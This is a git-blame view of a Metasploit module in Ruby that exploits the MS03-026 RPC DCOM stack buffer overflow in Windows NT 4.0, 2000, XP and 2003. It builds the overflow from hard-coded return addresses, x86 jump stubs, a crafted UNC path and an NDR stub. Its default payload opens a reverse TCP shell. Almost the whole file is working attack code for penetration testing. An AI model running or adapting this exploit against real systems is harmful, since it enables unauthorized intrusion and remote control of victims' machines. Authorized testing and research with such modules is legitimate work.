Files
metasploit-gs/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

232 lines
7.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-05-05 15:24:43 +00:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::DCERPC
2013-08-30 16:28:54 -05:00
def initialize(info = {})
2021-11-28 08:25:31 +00:00
super(
update_info(
info,
'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
2021-11-28 08:25:31 +00:00
was originally found by the Last Stage of Delirium research group and has been
widely exploited ever since. This module can exploit the English versions of
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
},
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2003-0352' ],
[ 'OSVDB', '2100' ],
[ 'MSB', 'MS03-026' ],
[ 'BID', '8205' ],
2005-06-05 04:37:48 +00:00
],
2021-11-28 08:25:31 +00:00
'Privileged' => true,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
2021-11-28 08:25:31 +00:00
'Payload' => {
'Space' => 880,
'MinNops' => 300,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500
},
2021-11-28 08:25:31 +00:00
'Platform' => %w[win],
'Targets' => [
2005-06-05 04:37:48 +00:00
# Target 0: Universal
[
2005-06-05 04:37:48 +00:00
'Windows NT SP3-6a/2000/XP/2003 Universal',
2005-06-05 18:03:56 +00:00
{
'Platform' => 'win',
2021-11-28 08:25:31 +00:00
'Rets' =>
2005-06-05 18:03:56 +00:00
[
0x77f33723, # Windows NT 4.0 SP6a (esp)
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
0x010016c6, # Windows 2000 Universal (ebx)
2005-07-18 03:58:29 +00:00
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
2021-11-28 08:25:31 +00:00
]
2005-06-05 18:03:56 +00:00
},
],
2005-06-05 04:37:48 +00:00
],
2021-11-28 08:25:31 +00:00
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2003-07-16'
)
)
2005-06-05 04:37:48 +00:00
end
2013-08-30 16:28:54 -05:00
# don't bother with this module for autoexploitation, it creates
# false-positives on newer systems.
2006-09-17 08:00:37 +00:00
def autofilter
false
2006-09-17 08:00:37 +00:00
end
2013-08-30 16:28:54 -05:00
2021-11-28 08:25:31 +00:00
def check
begin
connect
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return CheckCode::Safe("SMB error: #{e.message}")
end
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return CheckCode::Safe("SMB error: #{e.message}")
end
CheckCode::Detected
end
2005-06-05 05:42:14 +00:00
def exploit
2005-11-26 02:33:39 +00:00
connect
print_status("Trying target #{target.name}...")
2013-08-30 16:28:54 -05:00
2021-11-28 08:25:31 +00:00
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])
2005-12-15 04:46:52 +00:00
print_status("Binding to #{handle} ...")
2021-11-28 08:25:31 +00:00
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
end
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# Carefully create the combination of addresses and code for cross-os exploitation
xpseh = rand_text_alphanumeric(360, payload_badchars)
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# Jump to [esp-4] - (distance to shellcode)
jmpsc =
2021-11-28 08:25:31 +00:00
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)
Rex::Arch::X86.jmp_reg('eax') # jmp eax
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
jmpsc2k3 =
2021-11-28 08:25:31 +00:00
"\x8b\x45\x30" + # mov eax,[ebp+0x30]
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
Rex::Arch::X86.jmp_reg('eax') # jmp eax
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# Windows 2003 added by spoonm
2021-11-28 08:25:31 +00:00
xpseh[246 - jmpsc2k3.length, jmpsc2k3.length] = jmpsc2k3
xpseh[246, 2] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
xpseh[250, 4] = [ target['Rets'][4] ].pack('V')
2013-08-30 16:28:54 -05:00
2021-11-28 08:25:31 +00:00
xpseh[306, 2] = Rex::Arch::X86.jmp_short('$+8')
xpseh[310, 4] = [ target['Rets'][3] ].pack('V')
xpseh[314, jmpsc.length] = jmpsc
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
#
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
# HD wrote NT 4.0 SP6a, and it's off in a different place
#
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
# (hopefully I'm accurate, this is from my memory...)
#
# |---pop pop ret-------- --eax---|
# V | | V
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
# 4 4 4 5 5
# | ^
# --------------------------------------------------|
# The jmpback's all are 5 byte backwards jumps into our shellcode that
# sits just below these overwrites...
#
2013-08-30 16:28:54 -05:00
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
2021-11-28 08:25:31 +00:00
rand_text(2, payload_badchars)
2013-08-30 16:28:54 -05:00
2005-07-18 03:58:29 +00:00
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
ntshiz =
nt4sp3jmp +
[ target['Rets'][6] ].pack('V') +
[ target['Rets'][5] ].pack('V') +
nt4sp5jmpback +
nt4sp3jmpback
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# Pad to the magic value of 118 bytes
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# Create the evil UNC path used in the overflow
uncpath =
2021-11-28 08:25:31 +00:00
Rex::Text.to_unicode('\\\\') +
2006-01-27 21:18:52 +00:00
make_nops(32) +
2013-08-30 16:28:54 -05:00
2006-01-27 21:18:52 +00:00
# When attacking NT 4.0, jump over 2000/XP return
Rex::Arch::X86.jmp_short(16) +
Rex::Arch::X86.jmp_short(25) +
2005-07-18 01:47:28 +00:00
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0
2006-01-27 21:18:52 +00:00
make_nops(88) +
Rex::Arch::X86.jmp_short(4) +
rand_text(4, payload_badchars) +
2006-01-27 21:18:52 +00:00
make_nops(8) +
Rex::Arch::X86.jmp_short(4) +
Rex::Arch::X86.jmp_short(4) +
make_nops(4) +
Rex::Arch::X86.jmp_short(4) +
rand_text(4, payload_badchars) +
payload.encoded +
ntshiz +
2005-07-18 01:47:28 +00:00
xpseh +
2006-01-27 21:18:52 +00:00
Rex::Text.to_unicode("\\\x00")
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
# This is the rpc cruft needed to trigger the vuln API
stubdata =
NDR.short(5) +
NDR.short(1) +
NDR.long(0) +
NDR.long(0) +
rand_text(16) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
NDR.long(0) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF))
2013-08-30 16:28:54 -05:00
2021-11-28 08:25:31 +00:00
print_status("Calling DCOM RPC with payload (#{stubdata.length} bytes) ...")
2005-12-15 04:46:52 +00:00
begin
2011-01-11 17:56:27 +00:00
dcerpc_call(0, stubdata, nil, false)
2021-11-28 08:25:31 +00:00
rescue StandardError => e
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
2005-12-15 04:46:52 +00:00
end
2013-08-30 16:28:54 -05:00
2005-07-18 01:47:28 +00:00
handler
disconnect
2005-06-05 05:42:14 +00:00
end
end